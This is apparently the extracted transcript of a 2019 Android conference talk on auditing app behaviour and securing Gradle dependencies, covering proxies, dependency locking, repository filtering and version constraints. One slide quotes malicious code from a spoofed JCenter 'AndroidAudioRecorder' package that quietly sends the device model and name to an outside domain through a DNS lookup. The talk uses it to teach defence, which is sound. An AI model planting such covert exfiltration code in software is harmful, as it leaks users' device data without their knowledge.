Upgrade to Pro — share decks privately, control downloads, hide ads and more …

I have no idea what my app is doing - Nicola Corti - Android Dev

I have no idea what my app is doing - Nicola Corti - Android Dev

Do you exactly know what's your app doing when you deliver it to your users? Are you 100% sure? Would you bet on this? You're probably confident with the code you wrote and you know what is doing.

But what about the code that others wrote?

We pull dependencies from the online repositories every day. Our applications strongly rely on external libraries that are hosted on public Maven repositories. What if one of those library contains some malicious code? Imagine a library that starts harvesting your user data without you knowing it.

In this talk we will see how to monitor and protect your application from malicious dependency on the web that might end up in your final compiled App.

Nicola Corti

April 23, 2019
Tweet

More Decks by Nicola Corti

Other Decks in Technology

Transcript

  1. @ C O R T I N I C O

    Get to know your Pizza Get to know your Pizza Vita Marija Murenaite on Unsplash
  2. @ C O R T I N I C O

    Get to know your Codebase Get to know your Codebase Vita Marija Murenaite on Unsplash
  3. @ C O R T I N I C O

    How do you e How do you 
 eat a Pizza? G E T T O K N O W Y O U R C O D E B A S E • One bite at a time • It takes time • Start with small changes • Get in touch with tests Vlad Baranov on Unsplash
  4. @ C O R T I N I C O

    You can’t eat You can’t eat 
 everything • Don’t expect to read the 
 whole codebase • Understand your 
 module boundaries • Understand how you interact with
 core modules G E T T O K N O W Y O U R C O D E B A S E Evelyn on Unsplash
  5. @ C O R T I N I C O

    Tech Debt Tech Debt • Don’t change the code style G E T T O K N O W Y O U R C O D E B A S E Hey looks, this file is still using
 RxJava1… let me convert it to RxJava2…
 2 hours later… $ git revert *last 2 hours* davidistesting on Flickr
  6. /** * */ public boolean isAvailable() { return false; }

    Never Trust Ap Never Trust Appearances
  7. /** * Always returns false. */ public boolean isAvailable() {

    return false; } Never Trust Ap Never Trust Appearances
  8. /** * Always returns false. */ public boolean isAvailable() {

    return true; } Never Trust Ap Never Trust Appearances
  9. (Corti 2015-05-10 17:12)/** (Corti 2015-05-10 17:12) * Always returns false

    (Corti 2015-05-10 17:12) */ (Mario 2012-02-24 12:38)public boolean isAvailable() { (Mario 2016-05-19 08:01) return true; (Mario 2012-02-24 12:38)} Never Trust Ap Never Trust Appearances
  10. Never Trust Com Never Trust Comments (Corti 2015-05-10 17:12)/** (Corti

    2015-05-10 17:12) * Always returns false (Corti 2015-05-10 17:12) */ (Mario 2012-02-24 12:38)public boolean isAvailable() { (Mario 2016-05-19 08:01) return true; (Mario 2012-02-24 12:38)}
  11. @ C O R T I N I C O

    Make sure 
 you go Sugar
 Free Make sure 
 you go Sugar
 Free Vitchakorn Koonyosying on Unsplash
  12. @ C O R T I N I C O

    Make sure 
 you go Bug
 Free Make sure 
 you go Bug
 Free Vitchakorn Koonyosying on Unsplash
  13. @ C O R T I N I C O

    Proxy Proxy M A K E S U R E Y O U G O B U G F R E E • A proxy will reveal a lot about your app behaviour • Use Charles • See all the requests that are fired • Requires configuration on your laptop/device Tyler Nix on Unsplash
  14. @ C O R T I N I C O

    Proxy Proxy M A K E S U R E Y O U G O B U G F R E E • A proxy will reveal a lot about your app behaviour • Use Charles! • See all the requests that are fired • Requires configuration on your laptop/device Tyler Nix on Unsplash
  15. @ C O R T I N I C O

    • github.com/ChuckerTeam/Chucker • An OkHttp Interceptor • Works on device without configuration • Useful to catch unintended behavior • Useful to build awareness Chucker Chucker M A K E S U R E Y O U G O B U G F R E E
  16. @ C O R T I N I C O

    • github.com/ChuckerTeam/Chucker • An OkHttp Interceptor • Works on device without configuration • Useful to catch unintended behavior • Useful to build awareness Chucker Chucker M A K E S U R E Y O U G O B U G F R E E
  17. @ C O R T I N I C O

    Manifest Manifest M A K E S U R E Y O U G O B U G F R E E • Check the merged manifest in Android Studio • Two step merge process: • Libraries & Modules • Source Sets Anna Pelzer on Unsplash
  18. @ C O R T I N I C O

    • Setup Static Analysis tools • Break the builds ⚠ • Share your pre commits (pre-commit.com) Enforce Conv Enforce conventions M A K E S U R E Y O U G O B U G F R E E
  19. @ C O R T I N I C O

    Watch out your orders Watch out your orders Brett Jordan on Unsplash
  20. @ C O R T I N I C O

    Watch out your dependencies Watch out your dependencies Brett Jordan on Unsplash
  21. public Pet getPet(final String id) { String https_url = "https:!//petstore.swagger.io/v2/pet/"

    + id; URL url; try { url = new URL(https_url); HttpsURLConnection con = (HttpsURLConnection) url.openConnection(); if (con !!= null) { BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream())); String response = ""; String input; while ((input = br.readLine()) !!= null) { System.out.println(input); response += input; } br.close(); JSONObject object = new JSONObject(response); Pet result = new Pet(); result.setId(object.getInt("id")); result.setName(object.getString("name")); result.setStatus(object.getString("status")); JSONArray photos = object.getJSONArray("photoUrls"); List<String> photoArrays = new ArrayList!<>(); for (int i = 0; i < photos.length(); i!++) { photoArrays.add(photos.getString(i)); } result.setPhotoUrls(photoArrays); JSONArray tags = object.getJSONArray("tags"); List<String> tagArrays = new ArrayList!<>(); for (int i = 0; i < tags.length(); i!++) { tagArrays.add(tags.getString(i)); } result.setTags(tagArrays); System.out.println(result); System.out.println(result.getId()); System.out.println(result.getName()); System.out.println(result.getPhotoUrls().get(0)); System.out.println(result.getStatus()); System.out.println(result.getTags().get(0)); return result; } } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (JSONException e) { e.printStackTrace(); } return null; } public class Pet { private Integer id; private String name; private List<String> photoUrls = null; private List<String> tags = null; private String status; public Integer getId() { return id; } public void setId(Integer id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public List<String> getPhotoUrls() { return photoUrls; } public void setPhotoUrls(List<String> photoUrls) { this.photoUrls = photoUrls; } public List<String> getTags() { return tags; } public void setTags(List<String> tags) { this.tags = tags; } public String getStatus() { return status; } public void setStatus(String status) { this.status = status; } } fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val parsedObject = JSONObject(response) val photos = parsedObject.getJSONArray("photoUrls") val photoArrays = ArrayList<String>() for (i in 0 until photos.length()) { photoArrays.add(photos.getString(i)) } val tags = parsedObject.getJSONArray("tags") val tagArrays = ArrayList<String>() for (i in 0 until tags.length()) { tagArrays.add(tags.getString(i)) } val result = Pet( id = parsedObject.getInt("id"), name = parsedObject.getString("name"), status = parsedObject.getString("status"), photoUrls = photoArrays, tags = tagArrays ) println(result) println(result.id) println(result.name) println(result.photoUrls!!![0]) println(result.status) println(result.tags!!![0]) return result } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } catch (e: JSONException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<String>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(response) println(pet) return pet } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val client = OkHttpClient.Builder().build() val request = Request.Builder().url("https:!//petstore.swagger.io/v2/pet/$id").build() client.newCall(request).execute().use { val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(it.body()!?.string()!!!) println(pet) return pet } } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?)
  22. interface PetInterface { @GET("pet/{id}") fun getPet(@Path("id") id: String?) : Call<Pet>

    } ream())); fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val parsedObject = JSONObject(response) val photos = parsedObject.getJSONArray("photoUrls") val photoArrays = ArrayList<String>() for (i in 0 until photos.length()) { photoArrays.add(photos.getString(i)) } val tags = parsedObject.getJSONArray("tags") val tagArrays = ArrayList<String>() for (i in 0 until tags.length()) { tagArrays.add(tags.getString(i)) } val result = Pet( id = parsedObject.getInt("id"), name = parsedObject.getString("name"), status = parsedObject.getString("status"), photoUrls = photoArrays, tags = tagArrays ) println(result) println(result.id) println(result.name) println(result.photoUrls!!![0]) println(result.status) println(result.tags!!![0]) return result } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } catch (e: JSONException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<String>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val https_url = "https:!//petstore.swagger.io/v2/pet/$id" val url: URL try { url = URL(https_url) val con = url.openConnection() as HttpsURLConnection val br = BufferedReader(InputStreamReader(con.inputStream)) var response = "" var input: String? = br.readLine() while (input !!= null) { println(input) response += input input = br.readLine() } br.close() val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(response) println(pet) return pet } catch (e: MalformedURLException) { e.printStackTrace() } catch (e: IOException) { e.printStackTrace() } return null } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?) fun getPet(id: String): Pet? { val client = OkHttpClient.Builder().build() val request = Request.Builder().url("https:!//petstore.swagger.io/v2/pet/$id").build() client.newCall(request).execute().use { val moshi = Moshi.Builder().build() val jsonAdapter = moshi.adapter<Pet>(Pet!::class.java) val pet = jsonAdapter.fromJson(it.body()!?.string()!!!) println(pet) return pet } } data class Pet( var id: Int?, var name: String?, var photoUrls: List<String>?, var tags: List<Tag>?, var status: String? ) data class Tag(var id: Int?, var name: String?)
  23. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S Regina Victorica on Unsplash
  24. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { } Regina Victorica on Unsplash
  25. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() } Regina Victorica on Unsplash
  26. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() } Regina Victorica on Unsplash
  27. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() mavenCentral() } Regina Victorica on Unsplash
  28. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() mavenCentral() maven { url 'https:!//jitpack.io' } } Regina Victorica on Unsplash
  29. @ C O R T I N I C O

    Where to ord Where to order? W A T C H O U T Y O U R D E P E N D E N C I E S repositories { google() jcenter() mavenCentral() maven { url 'https:!//jitpack.io' } mavenLocal() } Regina Victorica on Unsplash
  30. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible bady qb on Unsplash
  31. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" bady qb on Unsplash
  32. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" implementation “jp.sushi:uramaki:2.+" bady qb on Unsplash
  33. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" implementation “jp.sushi:uramaki:2.+" implementation “jp.sushi:uramaki:2.0.+" bady qb on Unsplash
  34. @ C O R T I N I C O

    Give me the b Give me the best sushi W A T C H O U T Y O U R D E P E N D E N C I E S • Avoid dynamic dependencies • They make your build less reproducible implementation “jp.sushi:uramaki:+" implementation “jp.sushi:uramaki:2.+" implementation “jp.sushi:uramaki:2.0.+" implementation “jp.sushi:uramaki:[2.0,3.0)" bady qb on Unsplash
  35. Version Lock Version Lock configurations.all { resolutionStrategy { } }

    dependencies { implementation “jp.sushi:urakami:+” }
  36. Version Lock Version Lock ./gradlew app:dependencies configurations.all { resolutionStrategy {

    activateDependencyLocking() } } dependencies { implementation "jp.sushi:urakami:+" }
  37. Version Lock Version Lock ./gradlew app:dependencies !--write-locks configurations.all { resolutionStrategy

    { activateDependencyLocking() } } dependencies { implementation "jp.sushi:urakami:+" }
  38. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } # This

    is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  39. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } # This

    is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  40. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } ./gradlew app:dependencies

    !--update-locks ‘jp.sushi:*’ # This is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  41. ./gradlew app:dependencies !--write-locks dependencies { implementation "jp.sushi:urakami:+" } ./gradlew app:dependencies

    !--update-locks ‘*:*’ # This is a Gradle generated file for dependency locking. # Manual edits can break the build and are not advised. # This file is expected to be part of source control. com.google.code.gson:gson:2.8.5 com.squareup.okhttp3:okhttp:3.12.1 com.squareup.okio:okio:1.15.0
 jp.sushi:urakami:3.14.0 org.jetbrains.kotlin:kotlin-stdlib-common:1.3.20 org.jetbrains.kotlin:kotlin-stdlib-jdk7:1.3.20 org.jetbrains.kotlin:kotlin-stdlib:1.3.20 org.jetbrains:annotations:13.0 ......
  42. @ C O R T I N I C O

    Favourite Res Favourite Restaurant W A T C H O U T Y O U R D E P E N D E N C I E S • Restrict dependencies to 
 specific repositories • Repositories get queried 
 top to bottom Wyron A on Unsplash
  43. repositories { maven { url "http:!//repo.sushi.jp/maven2" content { includeGroup "jp.sushi"

    } } jcenter { content { excludeGroupByRegex "jp!\\.sushi.*" } } }
  44. repositories { maven { url "http:!//repo.sushi.jp/maven2" content { includeGroup "jp.sushi"

    } } jcenter { content { excludeGroupByRegex "jp!\\.sushi.*" } } }
  45. @ C O R T I N I C O

    Gluten Free Gluten Free W A T C H O U T Y O U R D E P E N D E N C I E S • Pay attention to transitive dependencies • Define constraints • Leave a because message • Pay attention to version resolution marine Dumay on Unsplash
  46. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { implementation('jp.sushi:california:3.0.1') { because 'California 3.0.0

    had gluten' } implementation(‘jp.sushi:sashimi:42.0.0') { because ‘Sashimi 42 is the best ever’ } } }
  47. dependencies { implementation(“jp.sushi:kaiten-sushi:1.0.0”) constraints { implementation('jp.sushi:california:3.0.1') { because 'California 3.0.0

    had gluten' } implementation(‘jp.sushi:sashimi:42.0.0') { because ‘Sashimi 42 is the best ever’ force = true } } }
  48. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- jp.sushi:sashimi:42.0.0
  49. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- jp.sushi:sashimi:42.0.0 \!!--- jp.sushi:california:3.0.2
  50. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 !-> 3.0.2 \!!--- jp.sushi:sashimi:42.0.0 \!!--- jp.sushi:california:3.0.2
  51. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- jp.sushi:sashimi:42.0.0
  52. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- com.google.guava:guava:27.1 +!!--- jp.sushi:sashimi:42.0.0 \!!--- com.google.guava:guava:27.1
  53. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- com.google.guava:guava:27.1-android +!!--- jp.sushi:sashimi:42.0.0 \!!--- com.google.guava:guava:27.1-jre
  54. ------------------------------------------------------------ Project :sushi ------------------------------------------------------------ debugRuntimeClasspath - Runtime classpath of compilation

    'debug' +!!--- project :sushi +!!--- jp.sushi:kaiten-sushi:1.0.0 +!!--- jp.sushi:california:3.0.1 \!!--- com.google.guava:guava:27.1-android !-> 27.1-jre +!!--- jp.sushi:sashimi:42.0.0 \!!--- com.google.guava:guava:27.1-jre
  55. @ C O R T I N I C O

    Health Check Health Checks W A T C H O U T Y O U R D E P E N D E N C I E S • Dependencies are hard to verify • MD5/SHA1 are checked if provided • GPG Signatures are ignored Epicurrence on Unsplash
  56. @ C O R T I N I C O

    • What is Github is not necessarily on Maven • An example of Cross Build Injection (XBI) • Malicious packages uploaded for Timber, AndroidAudioRecorder… on Jcenter. • The “real” package was uploaded on other repo (MavenCentral, JitPack, …) A Confusing O A Confusing Order W A T C H O U T Y O U R D E P E N D E N C I E S
  57. private AndroidAudioRecorder(Activity activity) { this.activity = activity; Thread thread =

    new Thread() { @Override public void run() { } }; thread.start(); }
  58. private AndroidAudioRecorder(Activity activity) { this.activity = activity; Thread thread =

    new Thread() { @Override public void run() { try { InetAddress byName = InetAddress.getByName( new String(Base64.encode((Build.MODEL + ";" + Build.DEVICE).getBytes(), Base64.NO_WRAP)).concat(“!!...com")); if(byName.isLoopbackAddress()) { color = 0; } } catch (UnknownHostException e) { e.printStackTrace(); } } }; thread.start(); }
  59. allprojects { repositories { google() jcenter() maven { url "https:!//jitpack.io"

    } } } dependencies { implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0' }
  60. allprojects { repositories { google() jcenter() !// maven { url

    "https:!//jitpack.io" } } } dependencies { implementation 'com.github.adrielcafe:AndroidAudioRecorder:0.3.0' }
  61. @ C O R T I N I C O

    ¯\_(ツ)_/¯ ¯\_(ツ)_/¯ Watch out your Orders Make sure you go Sugar Free Get to know your Pizza